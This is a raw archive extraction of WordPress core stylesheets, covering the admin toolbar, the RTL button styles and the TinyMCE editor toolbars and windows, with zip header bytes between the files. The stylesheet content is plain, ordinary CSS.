	-moz-osx-font-smoothing: grayscale;
	color: #f0f0f1;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar {
	color: #72aee6;
}

#wpadminbar .quicklinks li img.blavatar,
#wpadminbar .quicklinks li div.blavatar:before {
	height: 16px;
	width: 16px;
	margin: 0 8px 2px -2px;
}

#wpadminbar .quicklinks li div.blavatar:before {
	content: "\f120";
	display: inline-block;
}

#wpadminbar #wp-admin-bar-appearance {
	margin-top: -12px;
}

#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f541";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-editor > .ab-item:before {
	content: "\f100";
	top: 2px;
}

#wpadminbar #wp-admin-bar-customize > .ab-item:before {
	content: "\f540";
	top: 2px;
}

#wpadminbar #wp-admin-bar-edit > .ab-item:before {
	content: "\f464";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f226";
}

.wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f102";
}



/**
 * Comments
 */
#wpadminbar #wp-admin-bar-comments .ab-icon {
	margin-right: 6px;
}

#wpadminbar #wp-admin-bar-comments .ab-icon:before {
	content: "\f101";
	top: 3px;
}

#wpadminbar #wp-admin-bar-comments .count-0 {
	opacity: .5;
}

/**
 * New Content
 */
#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
	content: "\f132";
	top: 4px;
}

/**
 * Updates
 */
#wpadminbar #wp-admin-bar-updates .ab-icon:before {
	content: "\f463";
	top: 2px;
}

#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
	display: inline-block;
	animation: rotation 2s infinite linear;
}

@media (prefers-reduced-motion: reduce) {
	#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
		animation: none;
	}
}

/**
 * Search
 */

#wpadminbar #wp-admin-bar-search .ab-item {
	padding: 0;
	background: transparent;
}

#wpadminbar #adminbarsearch {
	position: relative;
	height: 32px;
	padding: 0 2px;
	z-index: 1;
}

#wpadminbar #adminbarsearch:before {
	position: absolute;
	top: 6px;
	left: 5px;
	z-index: 20;
	font: normal 20px/1 dashicons !important;
	content: "\f179";
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */
#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
	display: inline-block;
	float: none;
	position: relative;
	z-index: 30;
	font-size: 13px;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 1.84615384;
	text-indent: 0;
	height: 24px;
	width: 24px;
	max-width: none;
	padding: 0 3px 0 24px;
	margin: 0;
	color: #c3c4c7;
	background-color: rgba(255, 255, 255, 0);
	border: none;
	outline: none;
	cursor: pointer;
	box-shadow: none;
	box-sizing: border-box;
	transition-duration: 400ms;
	transition-property: width, background;
	transition-timing-function: ease;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
	z-index: 10;
	color: #000;
	width: 200px;
	background-color: rgba(255, 255, 255, 0.9);
	cursor: text;
	border: 0;
}

#wpadminbar #adminbarsearch .adminbar-button {
	display: none;
}

/**
 * Customize support classes
 */
.no-customize-support .hide-if-no-customize,
.customize-support .hide-if-customize,
.no-customize-support #wpadminbar .hide-if-no-customize,
.no-customize-support.wp-core-ui .hide-if-no-customize,
.no-customize-support .wp-core-ui .hide-if-no-customize,
.customize-support #wpadminbar .hide-if-customize,
.customize-support.wp-core-ui .hide-if-customize,
.customize-support .wp-core-ui .hide-if-customize {
	display: none;
}

/* Skip link */
#wpadminbar .screen-reader-text,
#wpadminbar .screen-reader-text span {
	border: 0;
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important;
}

#wpadminbar .screen-reader-shortcut {
	position: absolute;
	top: -1000em;
	left: 6px;
	height: auto;
	width: auto;
	display: block;
	font-size: 14px;
	font-weight: 600;
	padding: 15px 23px 14px;
	background: #f0f0f1;
	color: #2271b1;
	z-index: 100000;
	line-height: normal;
	text-decoration: none;
}

#wpadminbar .screen-reader-shortcut:focus {
	top: 7px;
	background: #f0f0f1;
	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
}

@media screen and (max-width: 782px) {
	html {
		--wp-admin--admin-bar--height: 46px;
	}

	/* Toolbar Touchification*/
	html #wpadminbar {
		height: 46px;
		min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */
	}

	#wpadminbar * {
		font-size: 14px;
		font-weight: 400;
		font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
		line-height: 2.28571428;
	}

	#wpadminbar .quicklinks > ul > li > a,
	#wpadminbar .quicklinks .ab-empty-item {
		padding: 0;
		height: 46px;
		line-height: 3.28571428;
		width: auto;
	}

	#wpadminbar .ab-icon {
		font: 40px/1 dashicons !important;
		margin: 0;
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
	}

	#wpadminbar .ab-icon:before {
		text-align: center;
	}

	#wpadminbar .ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-site-name a.ab-item,
	#wpadminbar #wp-admin-bar-my-sites a.ab-item,
	#wpadminbar #wp-admin-bar-my-account a.ab-item {
		text-overflow: clip;
	}

	#wpadminbar .quicklinks .menupop ul li .ab-item,
	#wpadminbar .quicklinks .menupop ul li a strong,
	#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
	#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
	#wpadminbar .shortlink-input {
	    line-height: 1.6;
	}

	#wpadminbar .ab-label {
		border: 0;
		clip-path: inset(50%);
		height: 1px;
		margin: -1px;
		overflow: hidden;
		padding: 0;
		position: absolute;
		width: 1px;
		word-wrap: normal !important;
	}

	#wpadminbar .menupop li:hover > .ab-sub-wrapper,
	#wpadminbar .menupop li.hover > .ab-sub-wrapper {
		margin-top: -46px;
	}

	#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item {
		padding-right: 30px;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		top: 10px;
		right: 6px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 8px 16px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty {
		display: none;
	}

	/* WP logo */
	#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
		vertical-align: top;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
		font: 28px/1 dashicons !important;
		top: -3px;
	}

	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
	}

	/* My Sites and "Site Title" menu */
	#wpadminbar #wp-admin-bar-my-sites > .ab-item,
	#wpadminbar #wp-admin-bar-site-name > .ab-item,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item,
	#wpadminbar #wp-admin-bar-customize > .ab-item,
	#wpadminbar #wp-admin-bar-edit > .ab-item,
	#wpadminbar #wp-admin-bar-my-account > .ab-item {
		text-indent: 100%;
		white-space: nowrap;
		overflow: hidden;
		width: 52px;
		padding: 0;
		color: #a7aaad; /* @todo not needed? this text is hidden */
		position: relative;
	}

	#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
		margin-right: 0;
	}

	#wpadminbar #wp-admin-bar-edit > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-name > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item:before,
	#wpadminbar #wp-admin-bar-customize > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-account > .ab-item:before {
		display: block;
		text-indent: 0;
		font: normal 32px/1 dashicons;
		speak: never;
		top: 7px;
		width: 52px;
		text-align: center;
		-webkit-font-smoothing: antialiased;
		-moz-osx-font-smoothing: grayscale;
	}

	#wpadminbar #wp-admin-bar-appearance {
		margin-top: 0;
	}

	#wpadminbar .quicklinks li .blavatar:before {
		display: none;
	}

	/* Search */
	#wpadminbar #wp-admin-bar-search {
		display: none;
	}

	/* New Content */
	#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
		top: 0;
		line-height: 1.26;
		height: 46px !important;
		text-align: center;
		width: 52px;
		display: block;
	}

	/* Updates */
	#wpadminbar #wp-admin-bar-updates {
		text-align: center;
	}

	#wpadminbar #wp-admin-bar-updates .ab-icon:before {
		top: 3px;
	}

	/* Comments */
	#wpadminbar #wp-admin-bar-comments .ab-icon {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-comments .ab-icon:before {
		display: block;
		font-size: 34px;
		height: 46px;
		line-height: 1.38235294;
		top: 0;
	}

	/* My Account */
	#wpadminbar #wp-admin-bar-my-account > a {
		position: relative;
		white-space: nowrap;
		text-indent: 150%; /* More than 100% indention is needed since this element has padding */
		width: 28px;
		padding: 0 10px;
		overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */
	}

	#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
		position: absolute;
		top: 13px;
		right: 10px;
		width: 26px;
		height: 26px;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar {
		display: none;
	}

	#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-user-info .display-name {
		height: auto;
		font-size: 16px;
		line-height: 1.5;
		color: #f0f0f1;
	}

	#wpadminbar #wp-admin-bar-user-info a {
		padding-top: 4px;
	}

	#wpadminbar #wp-admin-bar-user-info .username {
		line-height: 0.8 !important;
		margin-bottom: -2px;
	}

	/* Show only default top level items */
	#wp-toolbar > ul > li {
		display: none;
	}

	#wpadminbar li#wp-admin-bar-menu-toggle,
	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-my-sites,
	#wpadminbar li#wp-admin-bar-updates,
	#wpadminbar li#wp-admin-bar-site-name,
	#wpadminbar li#wp-admin-bar-site-editor,
	#wpadminbar li#wp-admin-bar-customize,
	#wpadminbar li#wp-admin-bar-new-content,
	#wpadminbar li#wp-admin-bar-edit,
	#wpadminbar li#wp-admin-bar-comments,
	#wpadminbar li#wp-admin-bar-my-account {
		display: block;
	}

	/* Allow dropdown list items to appear normally */
	#wpadminbar li:hover ul li,
	#wpadminbar li.hover ul li,
	#wpadminbar li:hover ul li:hover ul li {
		display: list-item;
	}

	/* Override default min-width so dropdown lists aren't stretched
		to 100% viewport width at responsive sizes. */
	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		min-width: fit-content;
	}

	#wpadminbar ul#wp-admin-bar-root-default > li {
		margin-right: 0;
	}

	/* Experimental fix for touch toolbar dropdown positioning */
	#wpadminbar .ab-top-menu,
	#wpadminbar .ab-top-secondary,
	#wpadminbar #wp-admin-bar-wp-logo,
	#wpadminbar #wp-admin-bar-my-sites,
	#wpadminbar #wp-admin-bar-site-name,
	#wpadminbar #wp-admin-bar-updates,
	#wpadminbar #wp-admin-bar-comments,
	#wpadminbar #wp-admin-bar-new-content,
	#wpadminbar #wp-admin-bar-edit,
	#wpadminbar #wp-admin-bar-my-account {
		position: static;
	}

	.network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account {
		margin-right: 0;
	}

	/* Realign arrows on taller responsive submenus */

	#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
		top: 10px;
		left: 0;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	#wpadminbar {
		position: absolute;
	}

	#wp-responsive-overlay {
		position: fixed;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		z-index: 400;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		width: 100%;
		left: 0;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		display: none;
	}

	#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper {
		margin-left: 0;
	}

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		margin: 0;
		width: 100%;
		top: auto;
		left: auto;
		position: relative;
	}

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 6px 15px 19px 30px;
	}

	#wpadminbar li:hover ul li ul li {
		display: list-item;
	}

	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-updates {
		display: none;
	}

	/* Make submenus full-width at this size */

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		position: static;
		box-shadow: none;
	}
}

/* Very narrow screens */
@media screen and (max-width: 400px) {
	#wpadminbar li#wp-admin-bar-comments {
		display: none;
	}
}
PK1Xd[J�̓��buttons-rtl.min.cssnu�[���/*! This file is auto-generated */
.wp-core-ui .button,.wp-core-ui .button-primary,.wp-core-ui .button-secondary{display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-core-ui button::-moz-focus-inner,.wp-core-ui input[type=button]::-moz-focus-inner,.wp-core-ui input[type=reset]::-moz-focus-inner,.wp-core-ui input[type=submit]::-moz-focus-inner{border-width:0;border-style:none;padding:0}.wp-core-ui .button-group.button-large .button,.wp-core-ui .button.button-large{min-height:32px;line-height:2.30769231;padding:0 12px}.wp-core-ui .button-group.button-small .button,.wp-core-ui .button.button-small{min-height:26px;line-height:2.18181818;padding:0 8px;font-size:11px}.wp-core-ui .button-group.button-hero .button,.wp-core-ui .button.button-hero{font-size:14px;min-height:46px;line-height:3.14285714;padding:0 36px}.wp-core-ui .button.hidden{display:none}.wp-core-ui input[type=reset],.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:focus,.wp-core-ui input[type=reset]:hover{background:0 0;border:none;box-shadow:none;padding:0 2px 1px;width:auto}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}.wp-core-ui p .button{vertical-align:baseline}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{background:#f6f7f7;border-color:#3582c4;color:#0a4b78;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent;outline-offset:0}.wp-core-ui .button-secondary:active,.wp-core-ui .button:active{background:#f6f7f7;border-color:#8c8f94;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:hover{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}.wp-core-ui .button-disabled,.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled,.wp-core-ui .button-secondary[disabled],.wp-core-ui .button.disabled,.wp-core-ui .button:disabled,.wp-core-ui .button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;cursor:default;transform:none!important}.wp-core-ui .button-secondary[aria-disabled=true],.wp-core-ui .button[aria-disabled=true]{cursor:default}.wp-core-ui .button-link{margin:0;padding:0;box-shadow:none;border:0;border-radius:0;background:0 0;cursor:pointer;text-align:right;color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover{color:#135e96}.wp-core-ui .button-link:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.wp-core-ui .button-link-delete{color:#d63638}.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#d63638;background:0 0}.wp-core-ui .button-link-delete:disabled{background:0 0!important}.wp-core-ui .button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary.hover,.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#135e96;border-color:#135e96;color:#fff}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#135e96;border-color:#135e96;box-shadow:none;color:#fff}.wp-core-ui .button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#a7aaad!important;background:#f6f7f7!important;border-color:#dcdcde!important;box-shadow:none!important;text-shadow:none!important;cursor:default}.wp-core-ui .button-primary[aria-disabled=true]{cursor:default}.wp-core-ui .button-group{position:relative;display:inline-block;white-space:nowrap;font-size:0;vertical-align:middle}.wp-core-ui .button-group>.button{display:inline-block;border-radius:0;margin-left:-1px}.wp-core-ui .button-group>.button:first-child{border-radius:0 3px 3px 0}.wp-core-ui .button-group>.button:last-child{border-radius:3px 0 0 3px}.wp-core-ui .button-group>.button-primary+.button{border-right:0}.wp-core-ui .button-group>.button:focus{position:relative;z-index:1}.wp-core-ui .button-group>.button.active{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button-group>.button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}@media screen and (max-width:782px){.wp-core-ui .button,.wp-core-ui .button.button-large,.wp-core-ui .button.button-small,a.preview,input#publish,input#save-post{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}.wp-core-ui .copy-to-clipboard-container .copy-attachment-url{margin-bottom:0}#media-upload.wp-core-ui .button{padding:0 10px 1px;min-height:24px;line-height:22px;font-size:13px}.media-frame.mode-grid .bulk-select .button{margin-bottom:0}.wp-core-ui .save-post-status.button{position:relative;margin:0 10px 0 14px}.wp-core-ui.wp-customizer .button{font-size:13px;line-height:2.15384615;min-height:30px;margin:0;vertical-align:inherit}.wp-customizer .theme-overlay .theme-actions .button{margin-bottom:5px}.media-modal-content .media-toolbar-primary .media-button{margin-top:10px;margin-right:5px}.interim-login .button.button-large{min-height:30px;line-height:2;padding:0 12px 2px}}PK1Xd[�O�3�3�
editor.cssnu�[���/*------------------------------------------------------------------------------
 TinyMCE and Quicklinks toolbars
------------------------------------------------------------------------------*/

/* TinyMCE widgets/containers */

.mce-tinymce {
	box-shadow: none;
}

.mce-container,
.mce-container *,
.mce-widget,
.mce-widget * {
	color: inherit;
	font-family: inherit;
}

.mce-container .mce-monospace,
.mce-widget .mce-monospace {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	line-height: 150%;
}

/* TinyMCE windows */
#mce-modal-block,
#mce-modal-block.mce-fade {
	opacity: 0.7;
	filter: alpha(opacity=70);
	transition: none;
	background: #000;
}

.mce-window {
	border-radius: 0;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	-webkit-font-smoothing: subpixel-antialiased;
	transition: none;
}

.mce-window .mce-container-body.mce-abs-layout {
	overflow: visible;
}

.mce-window .mce-window-head {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	padding: 0;
	min-height: 36px;
}

.mce-window .mce-window-head .mce-title {
	color: #3c434a;
	font-size: 18px;
	font-weight: 600;
	line-height: 36px;
	margin: 0;
	padding: 0 36px 0 16px;
}

.mce-window .mce-window-head .mce-close,
.mce-window-head .mce-close .mce-i-remove {
	color: transparent;
	top: 0;
	right: 0;
	width: 36px;
	height: 36px;
	padding: 0;
	line-height: 36px;
	text-align: center;
}

.mce-window-head .mce-close .mce-i-remove:before {
	font: normal 20px/36px dashicons;
	text-align: center;
	color: #646970;
	width: 36px;
	height: 36px;
	display: block;
}

.mce-window-head .mce-close:hover .mce-i-remove:before,
.mce-window-head .mce-close:focus .mce-i-remove:before {
	color: #135e96;
}

.mce-window-head .mce-close:focus .mce-i-remove,
div.mce-tab:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-window-head .mce-dragh {
	width: calc( 100% - 36px );
}

.mce-window .mce-foot {
	border-top: 1px solid #dcdcde;
}

.mce-textbox,
.mce-checkbox i.mce-i-checkbox,
#wp-link .query-results {
	border: 1px solid #dcdcde;
	border-radius: 0;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.07);
	transition: .05s all ease-in-out;
}

.mce-textbox:focus,
.mce-textbox.mce-focus,
.mce-checkbox:focus i.mce-i-checkbox,
#wp-link .query-results:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-wp-help {
	height: 360px;
	width: 460px;
	overflow: auto;
}

.mce-window .mce-wp-help * {
	box-sizing: border-box;
}

.mce-window .mce-wp-help > .mce-container-body {
	width: auto !important;
}

.mce-window .wp-editor-help {
	padding: 10px 10px 0 20px;
}

.mce-window .wp-editor-help h2,
.mce-window .wp-editor-help p {
	margin: 8px 0;
	white-space: normal;
	font-size: 14px;
	font-weight: 400;
}

.mce-window .wp-editor-help table {
	width: 100%;
	margin-bottom: 20px;
}

.mce-window .wp-editor-help table.wp-help-single {
	margin: 0 8px 20px;
}

.mce-window .wp-editor-help table.fixed {
	table-layout: fixed;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd),
.mce-window .wp-editor-help table.fixed td:nth-child(odd) {
	width: 12%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(even),
.mce-window .wp-editor-help table.fixed td:nth-child(even) {
	width: 38%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd) {
	padding: 5px 0 0;
}

.mce-window .wp-editor-help td,
.mce-window .wp-editor-help th {
	font-size: 13px;
	padding: 5px;
	vertical-align: middle;
	word-wrap: break-word;
	white-space: normal;
}

.mce-window .wp-editor-help th {
	font-weight: 600;
	padding-bottom: 0;
}

.mce-window .wp-editor-help kbd {
	font-family: monospace;
	padding: 2px 7px 3px;
	font-weight: 600;
	margin: 0;
	background: #f0f0f1;
	background: rgba(0, 0, 0, 0.08);
}

.mce-window .wp-help-th-center td:nth-child(odd),
.mce-window .wp-help-th-center th:nth-child(odd) {
	text-align: center;
}

/* TinyMCE menus */
.mce-menu,
.mce-floatpanel.mce-popover {
	border-color: rgba(0, 0, 0, 0.15);
	border-radius: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

.mce-menu,
.mce-floatpanel.mce-popover.mce-bottom {
	margin-top: 2px;
}

.mce-floatpanel .mce-arrow {
	display: none;
}

.mce-menu .mce-container-body {
	min-width: 160px;
}

.mce-menu-item {
	border: none;
	margin-bottom: 2px;
	padding: 6px 15px 6px 12px;
}

.mce-menu-has-icons i.mce-ico {
	line-height: 20px;
}

/* TinyMCE panel */
div.mce-panel {
	border: 0;
	background: #fff;
}

.mce-panel.mce-menu {
	border: 1px solid #dcdcde;
}

div.mce-tab {
	line-height: 13px;
}

/* TinyMCE toolbars */
div.mce-toolbar-grp {
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	padding: 0;
	position: relative;
}

div.mce-inline-toolbar-grp {
	border: 1px solid #a7aaad;
	border-radius: 2px;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.15);
	box-sizing: border-box;
	margin-bottom: 8px;
	position: absolute;
	-webkit-user-select: none;
	user-select: none;
	max-width: 98%;
	z-index: 100100; /* Same as the other TinyMCE "panels" */
}

div.mce-inline-toolbar-grp > div.mce-stack-layout {
	padding: 1px;
}

div.mce-inline-toolbar-grp.mce-arrow-up {
	margin-bottom: 0;
	margin-top: 8px;
}

div.mce-inline-toolbar-grp:before,
div.mce-inline-toolbar-grp:after {
	position: absolute;
	left: 50%;
	display: block;
	width: 0;
	height: 0;
	border-style: solid;
	border-color: transparent;
	content: "";
}

div.mce-inline-toolbar-grp.mce-arrow-up:before {
	top: -9px;
	border-bottom-color: #a7aaad;
	border-width: 0 9px 9px;
	margin-left: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:before {
	bottom: -9px;
	border-top-color: #a7aaad;
	border-width: 9px 9px 0;
	margin-left: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-up:after {
	top: -8px;
	border-bottom-color: #f6f7f7;
	border-width: 0 8px 8px;
	margin-left: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:after {
	bottom: -8px;
	border-top-color: #f6f7f7;
	border-width: 8px 8px 0;
	margin-left: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before,
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before {
	left: 20px;
}
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	left: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before,
div.mce-inline-toolbar-grp.mce-arrow-right:after {
	left: auto;
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before {
	right: 20px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:after {
	right: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-full {
	right: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-full > div {
	width: 100%;
	overflow-x: auto;
}

div.mce-toolbar-grp > div {
	padding: 3px;
}

.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first {
	padding-right: 32px;
}

.mce-toolbar .mce-btn-group {
	margin: 0;
}

/* Classic block hide/show toolbars */
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) {
	display: none;
}

.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar {
	display: block;
}

div.mce-statusbar {
	border-top: 1px solid #dcdcde;
}

div.mce-path {
	padding: 2px 10px;
	margin: 0;
}

.mce-path,
.mce-path-item,
.mce-path .mce-divider {
	font-size: 12px;
}

.mce-toolbar .mce-btn,
.qt-dfw {
	border-color: transparent;
	background: transparent;
	box-shadow: none;
	text-shadow: none;
	cursor: pointer;
}

.mce-btn .mce-txt {
	direction: inherit;
	text-align: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn,
.qt-dfw {
	border: 1px solid transparent;
	margin: 2px;
	border-radius: 2px;
}

.mce-toolbar .mce-btn-group .mce-btn:hover,
.mce-toolbar .mce-btn-group .mce-btn:focus,
.qt-dfw:hover,
.qt-dfw:focus {
	background: #f6f7f7;
	color: #1d2327;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active,
.mce-toolbar .mce-btn-group .mce-btn:active,
.qt-dfw.active {
	background: #f0f0f1;
	border-color: #50575e;
}

.mce-btn.mce-active,
.mce-btn.mce-active button,
.mce-btn.mce-active:hover button,
.mce-btn.mce-active i,
.mce-btn.mce-active:hover i {
	color: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus {
	border-color: #1d2327;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	color: #a7aaad;
	background: none;
	border-color: #dcdcde;
	text-shadow: 0 1px 0 #fff;
	box-shadow: none;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	border-color: #50575e;
}

.mce-toolbar .mce-btn-group .mce-first,
.mce-toolbar .mce-btn-group .mce-last {
	border-color: transparent;
}

.mce-toolbar .mce-btn button,
.qt-dfw {
	padding: 2px 3px;
	line-height: normal;
}

.mce-toolbar .mce-listbox button {
	font-size: 13px;
	line-height: 1.53846153;
	padding-left: 6px;
	padding-right: 20px;
}

.mce-toolbar .mce-btn i {
	text-shadow: none;
}

.mce-toolbar .mce-btn-group > div {
	white-space: normal;
}

.mce-toolbar .mce-colorbutton .mce-open {
	border-right: 0;
}

.mce-toolbar .mce-colorbutton .mce-preview {
	margin: 0;
	padding: 0;
	top: auto;
	bottom: 2px;
	left: 3px;
	height: 3px;
	width: 20px;
	background: #50575e;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary {
	min-width: 0;
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: none;
}

/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
	padding: 2px 3px 1px;
}

